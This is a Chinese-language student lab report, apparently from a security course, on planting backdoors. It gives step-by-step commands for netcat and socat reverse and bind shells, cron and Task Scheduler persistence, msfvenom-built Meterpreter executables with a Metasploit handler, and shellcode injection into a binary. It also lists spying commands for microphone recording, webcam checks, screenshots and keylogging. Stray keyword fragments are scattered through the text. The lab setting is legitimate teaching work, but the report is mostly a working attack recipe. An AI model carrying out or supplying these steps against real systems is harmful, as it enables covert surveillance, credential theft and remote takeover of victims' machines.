應用程序設定後門,用戶安裝後,後門就能夠進入。例如課堂上講到的百度。html
win中的後門伴隨軟件啓動
linux能夠用corn啓動linux
能夠獲取他人的語音錄音和視屏,還能夠獲取他人操做系統權限。web
殺毒軟件查殺。shell
(1)查看win7和kali的ip:
(2)進入ncat.exe目錄下運行ncat.exe -l -p 5313
(3)反向連接:nc 192.168.43.65313 -e /bin/sh
(4)kali輸入nc -l -p 5313
(5)Windows反彈鏈接Linux:``` ncat.exe -e cmd.exe 192.168.43.56 5313
windows
(1)Windows輸入指令ncat.exe -l -p 5313
監聽
(2)Linux輸入指令crontab -e
,選擇3打開,在最後一行添加代碼:53 * * * * /bin/netcat 192.168.1.185 5313 -e /bin/sh 在每小時的53分運行ncat回連win主機
(輸入保存完成後,能夠經過crontab -l
來查看)安全
(3)時間到了,就能夠運行Linux shell指令:
架構
(1)打開Windows->控制面板->系統和安全->管理工具->任務計劃程序:
(2)新建任務計劃,填寫任務名稱
(3)新建觸發器,設置爲工做站鎖定時,並啓用:
(4)新建操做,在程序或腳本中選擇所下載的socat.exe文件路徑,在添加參數中添加tcp-listen:5313 exec:cmd.exe,pty,stderr命令
(5)運行建立任務,在linux中輸入指令socat - tcp:192.168.1.185:5313
tcp
(1)在Linux主機輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.56 LPORT=5313 -f exe > 20165313_backdoor.exe
,此條指令意爲生成一個.exe程序,名稱爲 20165313_backdoor,未來在windows上運行時會回連到Linux主機相應端口
(2)在cmd中輸入指令ncat.exe -l 5313 > 5313_backdoor.exe
回車準備接收文件:
(3)在kali中輸入指令nc 192.168.43.6 5313 < 20165313_backdoor.exe
發送文件:
(4)輸入msfconsole
啓動
(5)依次輸入use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.56
set LPORT 5313
輸入show options
查看:
工具
(1)Linux輸入指令exploit
開始監聽
(2)windows 雙擊後門程序執行。
(3)輸入指令record_mic
錄製一段音頻
編碼
(4)webcam_list
查看目標主機是否有攝像頭
(5)輸入指令screenshot
截取屏幕
(6)輸入指令keyscan_start
記錄擊鍵內容,輸入指令keyscan_dump
獲取擊鍵記錄
(7)輸入指令getsystem
提權失敗
參考了同組任胤的博客(http://www.javashuo.com/article/p-fysxgnzg-cy.html),發現他先生成shellcode ,再注入pwn1的方法走不通,我就試想是否是MSF能夠直接將shellcode注入到PWN1文件中去,我去找了找,發現MSF能夠本身生成一個可執行的後門,而且能夠設定輸出的格式(https://blog.csdn.net/zsj2102/article/details/78549508),又根據學姐的博客成功使用MSF生成shellcode,pwn1中。以下圖所示:
基本步驟學長的博客中都有了詳細的介紹,這裏我就不重複了(感興趣的能夠本身看看),這裏我想說的是:
(1)在利用MSF注入時應考慮執行文件的屬性問題,便是32位仍是64位執行文件。
(2)打開MSF進行監聽的時候,要根據被攻擊的主機即後門程序進行設置,即 set payload xxxxxx/meterpreter/reverse_tcp
中的xxxxx要根據實際狀況進行修改。任務三,四中被監聽主機是Windows系統,則應爲windows
,而任務五中,則應改爲linux/x86
。
(3)操做細節注意:在Linux執行pwn3(注入shellcode以後的文件)應先加權限 chmod +x pwn3
。
(4)msfvenom –h 查看幫助:
中文解釋:
-p, --payload <payload> 指定須要使用的payload(攻擊荷載)。若是須要使用自定義的payload,請使用'-'或者stdin指定 -l, --list [module_type] 列出指定模塊的全部可用資源.模塊類型包括: payloads, encoders, nops, all -n, --nopsled <length> 爲payload預先指定一個NOP滑動長度 -f, --format <format> 指定輸出格式 (使用 --help-formats來獲取msf支持的輸出格式列表) -e, --encoder [encoder] 指定須要使用的encoder(編碼器) -a, --arch <architecture> 指定payload的目標架構 --platform <platform> 指定payload的目標平臺 -s, --space <length> 設定有效攻擊荷載的最大長度 -b, --bad-chars <list> 設定規避字符集,好比: '\x00\xff' -i, --iterations <count> 指定payload的編碼次數 -c, --add-code <path> 指定一個附加的win32 shellcode文件 -x, --template <path> 指定一個自定義的可執行文件做爲模板 -k, --keep 保護模板程序的動做,注入的payload做爲一個新的進程運行 --payload-options 列舉payload的標準選項 -o, --out <path> 保存payload -v, --var-name <name> 指定一個自定義的變量,以肯定輸出格式 --shellest 最小化生成payload -h, --help 查看幫助選項 --help-formats 查看msf支持的輸出格式列表
經過後門進行的攻擊更加隱蔽,也更加難以防護,因此只有真正瞭解其原理,才能找出對應的防護方法。